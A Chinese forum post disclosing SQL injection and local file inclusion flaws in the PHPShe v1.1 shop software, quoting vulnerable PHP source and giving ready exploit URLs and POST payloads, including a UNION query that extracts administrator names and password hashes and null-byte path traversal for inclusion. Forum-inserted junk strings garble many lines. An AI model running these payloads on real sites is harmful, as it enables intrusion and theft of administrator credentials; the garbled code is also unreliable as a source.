找回密码
 立即注册
查看: 3080|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
" S1 G/ y* v3 x" O) U/* Phpshe v1.1 Vulnerability
3 ], i6 W" Z+ `7 j2 T& W/* ========================
) Q; A7 p: G5 s6 q9 {) K: |/* By: : Kn1f3
9 y: S# y* ~; ~/* E-Mail : 681796@qq.com
5 }. G- `5 H  ~. r5 s/*******************************************************/* q9 O; s) w- `' X+ S
0×00 整体大概参数传输
: k: K# _' z9 j" q
7 D2 G" K/ D; _; z( D( ]; s0 D
, ?& J# `& R1 {" d! V9 c. v  V+ U9 Z

  N9 p4 T. U6 l0 i; ^//common.php
1 s; |6 X0 |' R8 sif (get_magic_quotes_gpc()) {
6 K+ P! Z6 r0 A- V* r" J) H) K!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');; y2 e1 d2 @$ A
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');# ]1 D* L* L7 d  b4 [6 f
}; _* ]8 g4 Z5 S) k( ^
else {& L4 B- ?6 E: U% Y, T! h/ t! }
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');% I& }7 _) y+ ~: z4 _
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');+ R' }4 |4 w% p
}1 S$ o! k4 D4 i! J/ o
session_start();' O% z2 J% v0 {
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
7 `+ g7 x- v/ r!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
; ]! i$ z' Z: p# r0 V: d3 g- z$ a
  @: a3 M# ]9 Q( j9 y0×01 包含漏洞
) u. L3 x7 f1 f& b9 j
& v9 s) a( F* i* s' V: V) x: t

/ K& \# @& }' l; b7 `* x- ]7 S//首页文件5 z" I. F; I: j$ m
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
2 @$ j$ ~0 a6 s8 m+ B" E/ d* R5 D3 ~include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞3 Y, j# Q7 j, A
pe_result();
  Z$ [, C* \, g' ~0 o( L0 {* b?>
9 Y( Y$ e$ \* {; D; ~//common 文件 第15行开始% X0 S) {! d% }) G3 f
url路由配置) q' n* B% j$ S) V- {
$module = $mod = $act = 'index';
, _/ \9 ^( P( ~# c/ m$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);# q- v0 z3 h* I3 v7 M% U
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
# v; \; `4 R1 J" r. z& m- U: P9 [$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);* w1 ?* T' N5 o3 F) H
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
& M# N' I) b5 P4 l

# ]7 p. |6 ~$ F

+ J+ K' z3 G8 g. _7 T 0×02 搜索注入/ k2 R& c& r/ [- O" }
3 o' N8 j% b* X
<code id="code2">

//product.php文件
  Z* \# G. x- @4 M' g) C5 _% Vcase 'list':
" @) T+ N4 @6 y  k$category_id = intval($id);$ [- T+ {( [- @- R/ r9 W% E( `
$info = $db->pe_select('category', array('category_id'=>$category_id));+ h% {3 J% x' h6 }8 G5 f
//搜索2 U& k9 Y' x' R5 V, p
$sqlwhere = " and `product_state` = 1";# D/ S, p/ J5 {" [, o2 D
pe_lead('hook/category.hook.php');
" e( t8 l7 ~" B1 S2 C. wif ($category_id) {
! p% t$ l) Y$ Z, c, T. }  S$ qwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
8 W! C, A: Q+ y2 R# c}
2 V9 d/ U5 }6 r* j8 s) d$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤8 b( K. t+ T" l. f
if ($_g_orderby) {
* y/ t' T, @4 I) j3 a$orderby = explode('_', $_g_orderby);
" m3 }$ ^' k2 B$ c) h5 b$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
* r2 R& `( l8 d, D. s! u}
2 V$ s; n1 R/ Z0 xelse {
/ T2 z, l% l" V# m9 A$sqlwhere .= " order by `product_id` desc";3 P" v% {% k5 K9 z
}
9 J* U4 _* D% c( M9 O. ^$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
! A# G9 _: v+ k//热卖排行  B+ N: ]  ~* k% u6 h' F, j
$product_hotlist = product_hotlist();
0 e! \( \/ d7 F$ s. E//当前路径7 Z0 a/ H! d/ R8 p4 Y! {% a% H
$nowpath = category_path($category_id);  Y) L% }; u5 x5 o, T) u2 u
$seo = pe_seo($info['category_name']);
* I8 v1 _% l  ?* R( @include(pe_tpl('product_list.html'));7 c& _3 e% V( i8 k- W
//跟进selectall函数库, K$ M. |. }. Q7 a) l& ?
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())% g# e4 B8 [; E+ P  c. x# i
{' {# t: ?' g% r* y
//处理条件语句# W% ~8 `8 L# s. D# Q1 [" Q
$sqlwhere = $this->_dowhere($where);
; w0 y2 I2 ?2 l% ]4 greturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);" v8 p) X: c! Y% j# x. j- l  r
}
& u5 i. R0 h) H5 i//exp
% J8 R8 \# J/ ]- ]4 Uproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
8 {, R6 w, ?8 ]0 p9 A, U. {

</code>% k4 @# ~4 t+ u& [
  b- P, {, x, s5 [* d& u# \- u4 x
0×03 包含漏洞2. o2 r" F; z% J% }& }& i- c
; y) N; I* ]+ q' P# _% d
<code id="code3">

//order.php

case 'pay':

+ q8 b9 j8 _. U0 E4 ?7 E
$order_id = pe_dbhold($_g_id);

) E6 {- f2 [) P; k
$cache_payway = cache::get('payway');

1 B$ i" Z0 F2 U
foreach($cache_payway as $k => $v) {

! P8 C6 p4 c9 f, Z
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

. L- Z# P2 Z% E  W- L
if ($k == 'bank') {


; h2 P' {  @, a1 o# `6 c$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


. M0 R  D1 Q9 w( n3 F}


# s& d  a+ s% }4 h+ l/ W}

7 t, R- N. Z( C
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

4 ^! I! R5 i$ F2 `) s+ Z: |( }
!$order['order_id'] && pe_error('订单号错误...');


, w3 A9 Q- H7 ~0 U- vif (isset($_p_pesubmit)) {


: t" a- \! J  r& B' Oif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 w. t+ v1 _6 E  |) A+ J& c$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

; }* N  ~8 R0 b& J4 H9 j
foreach ($info_list as $v) {

& V* c3 y, I' p, u# w5 B! N1 ]
$order['order_name'] .= "{$v['product_name']};";9 `3 d0 f4 w; s' S  u$ G+ I


( D& }. ^; M) h% w: t$ q}

: C* B( [; ^0 U5 o- y2 s
echo '正在为您连接支付网站,请稍后...';

2 C& T; X6 Q3 P+ d0 T# I  W7 F" x
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

, G- w0 y1 I' _& m" ^
}//当一切准备好的时候就可以进行"鸡肋包含了"


. C8 C+ M1 V! Jelse {

# X4 ]0 N" O. m2 Q+ D
pe_error('支付错误...');

/ b% k; s2 V% W" n/ Y# U* R6 O
}


# W+ S4 {  p  y}

) V' l4 I& }8 }) ~' e) m7 _
$seo = pe_seo('选择支付方式');


  J( z8 x0 a7 a$ ?0 `; Linclude(pe_tpl('order_pay.html'));

2 {; G9 @& e& M) q4 J2 n
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
9 @$ h- [  ]0 p. E6 P' O  r

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表